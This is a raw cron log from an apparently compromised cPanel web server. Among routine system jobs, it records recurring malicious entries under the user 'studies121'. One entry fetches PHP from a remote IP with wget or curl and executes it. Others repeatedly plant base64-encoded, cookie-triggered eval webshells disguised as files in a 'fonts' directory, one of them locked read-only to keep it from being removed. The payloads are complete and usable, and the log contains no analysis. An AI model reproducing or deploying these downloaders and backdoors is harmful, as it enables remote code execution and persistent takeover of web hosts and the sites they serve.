Sep  5 07:58:01 ip-184-168-122-23 CROND[5814]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 07:58:01 ip-184-168-122-23 CROND[5816]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 07:58:01 ip-184-168-122-23 CROND[5817]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:59:01 ip-184-168-122-23 CROND[5940]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 07:59:01 ip-184-168-122-23 CROND[5942]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:59:01 ip-184-168-122-23 CROND[5944]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 07:59:01 ip-184-168-122-23 CROND[5943]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:00:01 ip-184-168-122-23 CROND[6053]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:00:01 ip-184-168-122-23 CROND[6056]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 08:00:01 ip-184-168-122-23 CROND[6057]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 08:00:01 ip-184-168-122-23 CROND[6067]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 08:00:01 ip-184-168-122-23 CROND[6065]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  5 08:00:01 ip-184-168-122-23 CROND[6068]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 08:00:01 ip-184-168-122-23 CROND[6063]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:00:01 ip-184-168-122-23 CROND[6066]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 08:00:01 ip-184-168-122-23 CROND[6064]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/checkdbs)
Sep  5 08:00:01 ip-184-168-122-23 CROND[6069]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 08:01:01 ip-184-168-122-23 CROND[6193]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:01:01 ip-184-168-122-23 CROND[6196]: (root) CMD (run-parts /etc/cron.hourly)
Sep  5 08:01:01 ip-184-168-122-23 CROND[6195]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:01:01 ip-184-168-122-23 CROND[6197]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 08:01:01 ip-184-168-122-23 CROND[6199]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 08:01:01 ip-184-168-122-23 CROND[6201]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 08:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[6196]: starting 0anacron
Sep  5 08:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[6216]: finished 0anacron
Sep  5 08:02:01 ip-184-168-122-23 CROND[6331]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 08:02:01 ip-184-168-122-23 CROND[6334]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 08:02:01 ip-184-168-122-23 CROND[6332]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 08:02:01 ip-184-168-122-23 CROND[6335]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:02:01 ip-184-168-122-23 CROND[6333]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:03:01 ip-184-168-122-23 CROND[6468]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 08:03:01 ip-184-168-122-23 CROND[6472]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:03:01 ip-184-168-122-23 CROND[6471]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 08:03:01 ip-184-168-122-23 CROND[6470]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:04:01 ip-184-168-122-23 CROND[6671]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 08:04:01 ip-184-168-122-23 CROND[6673]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:04:01 ip-184-168-122-23 CROND[6675]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:04:01 ip-184-168-122-23 CROND[6676]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 08:04:01 ip-184-168-122-23 CROND[6674]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 08:05:01 ip-184-168-122-23 CROND[6799]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 08:05:01 ip-184-168-122-23 CROND[6800]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 08:05:01 ip-184-168-122-23 CROND[6806]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 08:05:01 ip-184-168-122-23 CROND[6805]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:05:01 ip-184-168-122-23 CROND[6807]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:05:01 ip-184-168-122-23 CROND[6808]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 08:05:01 ip-184-168-122-23 CROND[6809]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 08:06:01 ip-184-168-122-23 CROND[6941]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:06:01 ip-184-168-122-23 CROND[6940]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 08:06:01 ip-184-168-122-23 CROND[6942]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 08:06:01 ip-184-168-122-23 CROND[6946]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 08:06:01 ip-184-168-122-23 CROND[6947]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:07:01 ip-184-168-122-23 CROND[7036]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 08:07:01 ip-184-168-122-23 CROND[7037]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 08:07:02 ip-184-168-122-23 CROND[7040]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:07:02 ip-184-168-122-23 CROND[7041]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:08:01 ip-184-168-122-23 CROND[7123]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 08:08:01 ip-184-168-122-23 CROND[7125]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:08:01 ip-184-168-122-23 CROND[7126]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 08:08:01 ip-184-168-122-23 CROND[7127]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 08:08:01 ip-184-168-122-23 CROND[7128]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:09:01 ip-184-168-122-23 CROND[7237]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 08:09:01 ip-184-168-122-23 CROND[7238]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 08:09:01 ip-184-168-122-23 CROND[7239]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:09:01 ip-184-168-122-23 CROND[7240]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 08:09:01 ip-184-168-122-23 CROND[7242]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:10:01 ip-184-168-122-23 CROND[7449]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 08:10:01 ip-184-168-122-23 CROND[7452]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
